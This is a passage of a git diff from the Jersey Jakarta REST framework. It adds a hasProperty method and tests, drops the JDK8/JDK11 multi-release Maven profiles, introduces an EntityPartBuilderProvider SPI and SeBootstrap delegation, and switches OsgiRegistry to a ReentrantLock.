+ assertFalse(request.getConfiguration().hasProperty("name"));
+ assertFalse(request.hasProperty("name"));
+
assertNull(request.getConfiguration().getProperty("name"));
assertNull(request.getProperty("name"));
@@ -110,6 +113,9 @@
assertTrue(request.getConfiguration().getPropertyNames().contains("name"));
assertFalse(request.getPropertyNames().contains("name"));
+ assertTrue(request.getConfiguration().hasProperty("name"));
+ assertFalse(request.hasProperty("name"));
+
assertEquals("value-global", request.getConfiguration().getProperty("name"));
assertNull(request.getProperty("name"));
@@ -128,6 +134,9 @@
assertFalse(request.getConfiguration().getPropertyNames().contains("name"));
assertTrue(request.getPropertyNames().contains("name"));
+ assertFalse(request.getConfiguration().hasProperty("name"));
+ assertTrue(request.hasProperty("name"));
+
assertNull(request.getConfiguration().getProperty("name"));
assertEquals("value-request", request.getProperty("name"));
@@ -146,6 +155,9 @@
assertTrue(request.getConfiguration().getPropertyNames().contains("name"));
assertTrue(request.getPropertyNames().contains("name"));
+ assertTrue(request.getConfiguration().hasProperty("name"));
+ assertTrue(request.hasProperty("name"));
+
assertEquals("value-global", request.getConfiguration().getProperty("name"));
assertEquals("value-request", request.getProperty("name"));
diff --git a/core-common/pom.xml b/core-common/pom.xml
index 44c4d7b..a83931f 100644
--- a/core-common/pom.xml
+++ b/core-common/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<groupId>org.glassfish.jersey.core</groupId>
@@ -216,8 +216,8 @@
<artifactId>jakarta.annotation-api</artifactId>
</dependency>
<dependency>
- <groupId>com.sun.activation</groupId>
- <artifactId>jakarta.activation</artifactId>
+ <groupId>org.eclipse.angus</groupId>
+ <artifactId>angus-activation</artifactId>
<scope>provided</scope>
<optional>true</optional>
</dependency>
@@ -254,446 +254,6 @@
<profiles>
<profile>
- <id>jdk8</id>
- <activation>
- <jdk>1.8</jdk>
- </activation>
- <build>
- <plugins>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <phase>generate-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>src/main/jsr166</source>
- <source>src/main/java8</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <artifactId>maven-antrun-plugin</artifactId>
- <dependencies>
- <dependency>
- <groupId>com.sun</groupId>
- <artifactId>tools</artifactId>
- <version>1.8.0</version>
- <scope>system</scope>
- <systemPath>${java.home}/../lib/tools.jar</systemPath>
- </dependency>
- </dependencies>
- <executions>
- <execution>
- <phase>validate</phase>
- <goals>
- <goal>run</goal>
- </goals>
- <configuration>
- <target>
- <echo>Building for JDK8</echo>
- </target>
- </configuration>
- </execution>
- <execution>
- <!-- need to compile this to be able to compile-2-java8 -->
- <id>compile-1-jsr166</id>
- <phase>process-resources</phase>
- <configuration>
- <target>
- <javac srcdir="${jsr166.sourceDirectory}" destdir="${project.build.outputDirectory}"
- classpath="${project.build.outputDirectory}" includeantruntime="false" />
- </target>
- </configuration>
- <goals>
- <goal>run</goal>
- </goals>
- </execution>
- <execution>
- <!-- Compile these files with jdk 8 and put them aside to be included in multirelase jar -->
- <!-- Multi-release jar is built by jdk 11+, but these classes are buildable by jdk 8 only -->
- <id>compile-2-java8</id>
- <phase>process-resources</phase>
- <configuration>
- <target>
- <mkdir dir="${java8.build.outputDirectory}" />
- <javac srcdir="${java8.sourceDirectory}" destdir="${java8.build.outputDirectory}"
- classpath="${project.build.outputDirectory}" includeantruntime="false" />
- </target>
- </configuration>
- <goals>
- <goal>run</goal>
- </goals>
- </execution>
- </executions>
- </plugin>
- </plugins>
- </build>
- </profile>
-
- <profile>
- <id>jdk11+</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <build>
- <plugins>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-antrun-plugin</artifactId>
- <executions>
- <execution>
- <phase>validate</phase>
- <goals>
- <goal>run</goal>
- </goals>
- <configuration>
- <target>
- <echo>Building for JDK 11+</echo>
- </target>
- </configuration>
- </execution>
- <execution>
- <id>compile-1-jsr166</id>
- <phase>process-resources</phase>
- <configuration>
- <target>
- <javac srcdir="${jsr166.sourceDirectory}" destdir="${project.build.outputDirectory}"
- classpath="${project.build.outputDirectory}" includeantruntime="false" />
- </target>
- </configuration>
- <goals>
- <goal>run</goal>
- </goals>
- </execution>
- <execution>
- <!-- build these java 11 specific classes to be put to META-INF/versions/11 later -->
- <id>compile-2-java11</id>
- <phase>process-resources</phase>
- <configuration>
- <target>
- <mkdir dir="${java11.build.outputDirectory}" />
- <javac srcdir="${java11.sourceDirectory}" destdir="${java11.build.outputDirectory}"
- classpath="${project.build.outputDirectory}" includeantruntime="false" release="11" />
- </target>
- </configuration>
- <goals>
- <goal>run</goal>
- </goals>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <id>compile-0-addsources</id>
- <phase>process-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>src/main/jsr166</source>
- <source>src/main/java11</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <executions>
- <execution>
- <id>default-compile</id>
- <configuration>
- <!-- compile everything to ensure module-info contains right entries -->
- <release>11</release>
- </configuration>
- </execution>
- </executions>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>copyJDK11FilesToMultiReleaseJar</id>
- <activation>
- <file>
- <!-- ${java11.build.outputDirectory} does not work here -->
- <exists>target/classes-java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.class</exists>
- </file>
- <jdk>1.8</jdk>
- </activation>
- <build>
- <plugins>
- <plugin>
- <groupId>org.apache.felix</groupId>
- <artifactId>maven-bundle-plugin</artifactId>
- <inherited>true</inherited>
- <extensions>true</extensions>
- <configuration>
- <instructions>
- <Multi-Release>true</Multi-Release>
- </instructions>
- </configuration>
- </plugin>
- <plugin>
- <artifactId>maven-clean-plugin</artifactId>
- <!-- only one file set per execution works -->
- <executions>
- <execution>
- <id>remove-jdk11-generated-sources</id>
- <phase>initialize</phase>
- <goals>
- <goal>clean</goal>
- </goals>
- <configuration>
- <excludeDefaultDirectories>true</excludeDefaultDirectories>
- <filesets>
- <fileset>
- <directory>${project.build.directory}/generated-sources</directory>
- </fileset>
- </filesets>
- </configuration>
- </execution>
- <execution>
- <id>remove-jdk11-classes</id>
- <phase>initialize</phase>
- <goals>
- <goal>clean</goal>
- </goals>
- <configuration>
- <excludeDefaultDirectories>true</excludeDefaultDirectories>
- <filesets>
- <fileset>
- <directory>${project.build.directory}/classes</directory>
- </fileset>
- </filesets>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-resources-plugin</artifactId>
- <inherited>true</inherited>
- <executions>
- <execution>
- <id>copy-jdk11-sources</id>
- <phase>prepare-package</phase>
- <goals>
- <goal>copy-resources</goal>
- </goals>
- <configuration>
- <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/META-INF/versions/11/org/glassfish/jersey/internal/jsr166</outputDirectory>
- <resources>
- <resource>
- <directory>${java11.sourceDirectory}/org/glassfish/jersey/internal/jsr166</directory>
- </resource>
- </resources>
- </configuration>
- </execution>
- <execution>
- <id>copy-jdk11-classes-to-meta-inf</id>
- <phase>prepare-package</phase>
- <goals>
- <goal>copy-resources</goal>
- </goals>
- <configuration>
- <outputDirectory>${project.build.outputDirectory}/META-INF/versions/11</outputDirectory>
- <resources>
- <resource>
- <directory>${java11.build.outputDirectory}</directory>
- </resource>
- </resources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>copyJDK8FilesToMultiReleaseJar</id>
- <activation>
- <file>
- <!-- ${java8.build.outputDirectory} does not work here -->
- <exists>target/classes-java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.class</exists>
- </file>
- <jdk>[11,)</jdk>
- </activation>
- <build>
- <plugins>
- <plugin>
- <groupId>org.apache.felix</groupId>
- <artifactId>maven-bundle-plugin</artifactId>
- <inherited>true</inherited>
- <extensions>true</extensions>
- <configuration>
- <instructions>
- <Multi-Release>true</Multi-Release>
- </instructions>
- </configuration>
- </plugin>
- <plugin>
- <artifactId>maven-clean-plugin</artifactId>
- <!-- only one file set per execution works -->
- <executions>
- <execution>
- <id>remove-jdk11-jsr166-sources</id>
- <phase>initialize</phase>
- <goals>
- <goal>clean</goal>
- </goals>
- <configuration>
- <excludeDefaultDirectories>true</excludeDefaultDirectories>
- <filesets>
- <fileset>
- <directory>${project.build.directory}/generated-sources/rsrc-gen/org/glassfish/jersey/internal/jsr166</directory>
- </fileset>
- </filesets>
- </configuration>
- </execution>
- <execution>
- <id>remove-jdk11-jsr166-META-INF-sources</id>
- <phase>initialize</phase>
- <goals>
- <goal>clean</goal>
- </goals>
- <configuration>
- <excludeDefaultDirectories>true</excludeDefaultDirectories>
- <filesets>
- <fileset>
- <directory>${project.build.directory}/generated-sources/rsrc-gen/META-INF</directory>
- </fileset>
- </filesets>
- </configuration>
- </execution>
- <execution>
- <id>remove-jdk11-jsr166-classes</id>
- <phase>prepare-package</phase>
- <goals>
- <goal>clean</goal>
- </goals>
- <configuration>
- <excludeDefaultDirectories>true</excludeDefaultDirectories>
- <filesets>
- <fileset>
- <directory>${project.build.outputDirectory}/org/glassfish/jersey/internal/jsr166</directory>
- <includes>
- <include>*.class</include>
- </includes>
- <excludes>
- <exclude>Flow*.class</exclude>
- <exclude>SubmittableFlowPublisher.class</exclude>
- <exclude>package-info.class</exclude>
- </excludes>
- </fileset>
- </filesets>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-resources-plugin</artifactId>
- <inherited>true</inherited>
- <executions>
- <execution>
- <id>copy-jdk8-classes-ouputDirectory</id>
- <phase>prepare-package</phase>
- <goals>
- <goal>copy-resources</goal>
- </goals>
- <configuration>
- <outputDirectory>${project.build.outputDirectory}</outputDirectory>
- <resources>
- <resource>
- <directory>${java8.build.outputDirectory}</directory>
- </resource>
- </resources>
- </configuration>
- </execution>
- <execution>
- <id>copy-jdk8-sources</id>
- <phase>prepare-package</phase>
- <goals>
- <goal>copy-resources</goal>
- </goals>
- <configuration>
- <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/org/glassfish/jersey/internal/jsr166</outputDirectory>
- <resources>
- <resource>
- <directory>${java8.sourceDirectory}/org/glassfish/jersey/internal/jsr166</directory>
- </resource>
- </resources>
- </configuration>
- </execution>
- <execution>
- <id>copy-jdk11-sources</id>
- <phase>prepare-package</phase>
- <goals>
- <goal>copy-resources</goal>
- </goals>
- <configuration>
- <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/META-INF/versions/11/org/glassfish/jersey/internal/jsr166</outputDirectory>
- <resources>
- <resource>
- <directory>${java11.sourceDirectory}/org/glassfish/jersey/internal/jsr166</directory>
- </resource>
- </resources>
- </configuration>
- </execution>
- <execution>
- <id>copy-jdk11-classes-to-meta-inf</id>
- <phase>prepare-package</phase>
- <goals>
- <goal>copy-resources</goal>
- </goals>
- <configuration>
- <outputDirectory>${project.build.outputDirectory}/META-INF/versions/11</outputDirectory>
- <resources>
- <resource>
- <directory>${java11.build.outputDirectory}</directory>
- </resource>
- </resources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-source-plugin</artifactId>
- <version>3.0.1</version>
- <executions>
- <execution>
- <id>attach-sources</id>
- <phase>package</phase>
- <goals>
- <goal>jar-no-fork</goal>
- </goals>
- <configuration>
- <excludes>
- <exclude>org/glassfish/jersey/internal/jsr166/Jdk9SubmissionPublisher.java</exclude>
- </excludes>
- </configuration>
- </execution>
- </executions>
- </plugin>
- </plugins>
- </build>
- </profile>
-
- <profile>
<id>securityOff</id>
<properties>
<surefire.security.argline />
@@ -733,11 +293,6 @@
<properties>
<surefire.security.argline>-Djava.security.manager -Djava.security.policy=${project.build.directory}/test-classes/surefire.policy</surefire.security.argline>
- <jsr166.sourceDirectory>${project.basedir}/src/main/jsr166</jsr166.sourceDirectory>
- <java8.build.outputDirectory>${project.build.directory}/classes-java8</java8.build.outputDirectory>
- <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
- <java11.build.outputDirectory>${project.build.directory}/classes-java11</java11.build.outputDirectory>
- <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
</properties>
</project>
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/innate/package-info.java
similarity index 75%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to core-common/src/main/java/org/glassfish/jersey/innate/package-info.java
index dd25372..b0648e7 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey innate packages. The innate packages will not be opened by JPMS outside of Jersey.
+ */
+package org.glassfish.jersey.innate;
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java b/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java
new file mode 100644
index 0000000..606e212
--- /dev/null
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.innate.spi;
+
+import jakarta.ws.rs.core.EntityPart;
+
+/**
+ * Jersey extension of provider of EntityPart.Builder.
+ * A service meant to be implemented solely by Jersey.
+ *
+ * @since 3.1.0
+ */
+public interface EntityPartBuilderProvider {
+
+ /**
+ * @param partName name of the part to create within the multipart entity.
+ * @return {@link EntityPart.Builder} for building new {@link EntityPart} instances.
+ */
+ public EntityPart.Builder withName(String partName);
+}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java
similarity index 75%
copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
copy to core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java
index dd25372..3d70312 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/core-common/src/main/java/org/glassfish/jersey/innate/spi/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Common Jersey innate SPI classes. The innate package will not be opened by JPMS.
+ */
+package org.glassfish.jersey.innate.spi;
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java
index aa439db..39940fb 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/AbstractRuntimeDelegate.java
@@ -25,14 +25,20 @@
import jakarta.ws.rs.core.CacheControl;
import jakarta.ws.rs.core.Configuration;
import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.EntityPart;
import jakarta.ws.rs.core.EntityTag;
import jakarta.ws.rs.core.Link;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.NewCookie;
import jakarta.ws.rs.core.Response.ResponseBuilder;
import jakarta.ws.rs.core.UriBuilder;
+import jakarta.ws.rs.ext.ParamConverter;
import jakarta.ws.rs.ext.RuntimeDelegate;
+import org.glassfish.jersey.innate.spi.EntityPartBuilderProvider;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
import org.glassfish.jersey.message.internal.JerseyLink;
import org.glassfish.jersey.message.internal.OutboundJaxrsResponse;
import org.glassfish.jersey.message.internal.OutboundMessageContext;
@@ -50,6 +56,8 @@
private final Set<HeaderDelegateProvider> hps;
private final Map<Class<?>, HeaderDelegate<?>> map;
+ private LazyValue<EntityPartBuilderProvider> entityPartBuilderProvider = Values.lazy(
+ (Value<EntityPartBuilderProvider>) () -> findEntityPartBuilderProvider());
/**
* Initialization constructor. The injection manager will be shut down.
@@ -117,4 +125,24 @@
return null;
}
+
+ @Override
+ public EntityPart.Builder createEntityPartBuilder(String partName) throws IllegalArgumentException {
+ return entityPartBuilderProvider.get().withName(partName);
+ }
+
+ /**
+ * Obtain a {@code RuntimeDelegate} instance using the method described in {@link #getInstance}.
+ *
+ * @return an instance of {@code RuntimeDelegate}.
+ */
+ private static EntityPartBuilderProvider findEntityPartBuilderProvider() {
+ for (final EntityPartBuilderProvider entityPartBuilder : ServiceFinder.find(EntityPartBuilderProvider.class)) {
+ if (entityPartBuilder != null) {
+ return entityPartBuilder;
+ }
+ }
+
+ throw new IllegalArgumentException(LocalizationMessages.NO_ENTITYPART_BUILDER_FOUND());
+ }
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
index 65ac48b..12eb78b 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/DynamicFeatureConfigurator.java
@@ -23,7 +23,6 @@
import jakarta.ws.rs.RuntimeType;
import jakarta.ws.rs.container.DynamicFeature;
import java.util.HashSet;
-import java.util.List;
import java.util.Map;
import java.util.Set;
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
index eb86f0c..55e5a68 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java
@@ -181,6 +181,11 @@
for (ServiceHolder<ExceptionMapper> mapperHandle: mapperHandles) {
ExceptionMapper mapper = mapperHandle.getInstance();
+ // the default exception mapper is processed by the ServerRuntime
+ if ("org.glassfish.jersey.server.DefaultExceptionMapper".equals(mapper.getClass().getName())) {
+ continue;
+ }
+
if (Proxy.isProxyClass(mapper.getClass())) {
SortedSet<Class<? extends ExceptionMapper>> mapperTypes =
new TreeSet<>((o1, o2) -> o1.isAssignableFrom(o2) ? -1 : 1);
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java
index aed1cfe..3cce5bd 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/MapPropertiesDelegate.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -64,6 +64,11 @@
}
@Override
+ public boolean hasProperty(final String name) {
+ return store.containsKey(name);
+ }
+
+ @Override
public Object getProperty(String name) {
return store.get(name);
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
index cb7545f..77ab1e1 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,7 +37,9 @@
import java.util.ResourceBundle;
import java.util.concurrent.Callable;
import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReadWriteLock;
+import java.util.concurrent.locks.ReentrantLock;
import java.util.concurrent.locks.ReentrantReadWriteLock;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;
@@ -79,6 +81,7 @@
private final Map<Long, Map<String, Callable<List<Class<?>>>>> factories =
new HashMap<Long, Map<String, Callable<List<Class<?>>>>>();
private final ReadWriteLock lock = new ReentrantReadWriteLock();
+ private static final Lock INSTANCE_LOCK = new ReentrantLock();
private static OsgiRegistry instance;
@@ -90,16 +93,21 @@
*
* @return an {@code OsgiRegistry} instance.
*/
- public static synchronized OsgiRegistry getInstance() {
- if (instance == null) {
- final ClassLoader classLoader = AccessController
- .doPrivileged(ReflectionHelper.getClassLoaderPA(ReflectionHelper.class));
- if (classLoader instanceof BundleReference) {
- final BundleContext context = FrameworkUtil.getBundle(OsgiRegistry.class).getBundleContext();
- if (context != null) { // context could be still null if the current bundle has not been started
- instance = new OsgiRegistry(context);
+ public static OsgiRegistry getInstance() {
+ INSTANCE_LOCK.lock();
+ try {
+ if (instance == null) {
+ final ClassLoader classLoader = AccessController
+ .doPrivileged(ReflectionHelper.getClassLoaderPA(ReflectionHelper.class));
+ if (classLoader instanceof BundleReference) {
+ final BundleContext context = FrameworkUtil.getBundle(OsgiRegistry.class).getBundleContext();
+ if (context != null) { // context could be still null if the current bundle has not been started
+ instance = new OsgiRegistry(context);
+ }
}
}
+ } finally {
+ INSTANCE_LOCK.unlock();
}
return instance;
}
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java b/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java
index 70833b9..3413de0 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesDelegate.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -43,6 +43,22 @@
*/
public Object getProperty(String name);
+ /**
+ * Returns {@code true} if the property with the given name registered in the current request/response
+ * exchange context, or {@code false} if there is no property by that name.
+ * <p>
+ * Use the {@link #getProperty} method with a property name to get the value of
+ * a property.
+ * </p>
+ *
+ * @return {@code true} if a property matching the given name exists, or
+ * {@code false} otherwise.
+ * @see #getProperty
+ * @since 3.1.0
+ */
+ public default boolean hasProperty(String name) {
+ return getProperty(name) != null;
+ }
/**
* Returns an immutable {@link java.util.Collection collection} containing the property
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java
index 5f954ba..b21616d 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateDecorator.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2019, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,16 +19,20 @@
import org.glassfish.jersey.internal.util.PropertiesHelper;
import org.glassfish.jersey.spi.HeaderDelegateProvider;
+import jakarta.ws.rs.SeBootstrap;
import jakarta.ws.rs.core.Application;
import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.EntityPart;
import jakarta.ws.rs.core.Link;
import jakarta.ws.rs.core.Response;
import jakarta.ws.rs.core.UriBuilder;
import jakarta.ws.rs.core.Variant;
import jakarta.ws.rs.ext.RuntimeDelegate;
+
import java.util.Collections;
import java.util.HashSet;
import java.util.Set;
+import java.util.concurrent.CompletionStage;
/**
* RuntimeDelegate Decorator that changes behaviour due to provided runtime information.
@@ -102,6 +106,27 @@
return runtimeDelegate.createLinkBuilder();
}
+ @Override
+ public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+ return runtimeDelegate.createConfigurationBuilder();
+ }
+
+ @Override
+ public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+ return runtimeDelegate.bootstrap(application, configuration);
+ }
+
+ @Override
+ public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> applicationClass,
+ SeBootstrap.Configuration configuration) {
+ return runtimeDelegate.bootstrap(applicationClass, configuration);
+ }
+
+ @Override
+ public EntityPart.Builder createEntityPartBuilder(String partName) throws IllegalArgumentException {
+ return runtimeDelegate.createEntityPartBuilder(partName);
+ }
+
private <T> HeaderDelegate<T> _createHeaderDelegate(final Class<T> type) {
for (final HeaderDelegateProvider hp : headerDelegateProviders) {
if (hp.supports(type)) {
diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
index 88d1826..db16be8 100644
--- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
+++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java
@@ -16,11 +16,16 @@
package org.glassfish.jersey.internal;
+import jakarta.ws.rs.SeBootstrap;
import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
import jakarta.ws.rs.ext.RuntimeDelegate;
import org.glassfish.jersey.message.internal.MessagingBinders;
+import java.util.Optional;
+import java.util.concurrent.CompletionStage;
+
/**
* Default implementation of JAX-RS {@link jakarta.ws.rs.ext.RuntimeDelegate}.
* The {@link jakarta.ws.rs.ext.RuntimeDelegate} class looks for the implementations registered
@@ -42,14 +47,50 @@
public <T> T createEndpoint(Application application, Class<T> endpointType)
throws IllegalArgumentException, UnsupportedOperationException {
- // TODO : Do we need multiple RuntimeDelegates?
+ final RuntimeDelegate runtimeDelegate = findServerDelegate();
+ if (runtimeDelegate != null) {
+ return runtimeDelegate.createEndpoint(application, endpointType);
+ }
+ throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+ }
+
+ @Override
+ public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+ final RuntimeDelegate runtimeDelegate = findServerDelegate();
+ if (runtimeDelegate != null) {
+ return runtimeDelegate.createConfigurationBuilder();
+ }
+ throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+ }
+
+ @Override
+ public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+ final RuntimeDelegate runtimeDelegate = findServerDelegate();
+ if (runtimeDelegate != null) {
+ return runtimeDelegate.bootstrap(application, configuration);
+ }
+ throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+ }
+
+ @Override
+ public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> applicationClass,
+ SeBootstrap.Configuration configuration) {
+ final RuntimeDelegate runtimeDelegate = findServerDelegate();
+ if (runtimeDelegate != null) {
+ return runtimeDelegate.bootstrap(applicationClass, configuration);
+ }
+ throw new UnsupportedOperationException(LocalizationMessages.NO_CONTAINER_AVAILABLE());
+ }
+
+ // TODO : Do we need multiple RuntimeDelegates?
+ private RuntimeDelegate findServerDelegate() {
for (RuntimeDelegate delegate : ServiceFinder.find(RuntimeDelegate.class)) {
// try to find runtime delegate from core-server
if (delegate.getClass() != RuntimeDelegateImpl.class) {
RuntimeDelegate.setInstance(delegate);
- return delegate.createEndpoint(application, endpointType);
+ return delegate;
}
}
